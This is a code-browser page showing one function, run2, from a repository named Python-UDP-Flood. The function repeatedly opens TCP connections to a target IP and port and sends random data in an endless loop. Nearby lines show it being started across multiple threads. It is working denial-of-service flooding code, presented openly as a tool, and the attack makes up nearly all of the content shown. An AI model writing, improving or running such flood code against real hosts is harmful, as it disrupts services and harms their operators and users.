MCPcopy Create free account
hub / github.com/XaviFortes/Python-UDP-Flood / run2

Function run2

udpflood.py:42–55  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

40 print("[!] Error!!!")
41
42def run2():
43 data = random._urandom(16)
44 i = random.choice(("[*]","[!]","[#]"))
45 while True:
46 try:
47 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #And here it's using the TCP method as you can see in SOCK_STREAM
48 s.connect((ip,port))
49 s.send(data)
50 for x in range(times):
51 s.send(data)
52 print(i +" Sent!!!")
53 except:
54 s.close()
55 print("[*] Error")
56
57for y in range(threads):
58 if choice == 'y':

Callers 1

whereuwereFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected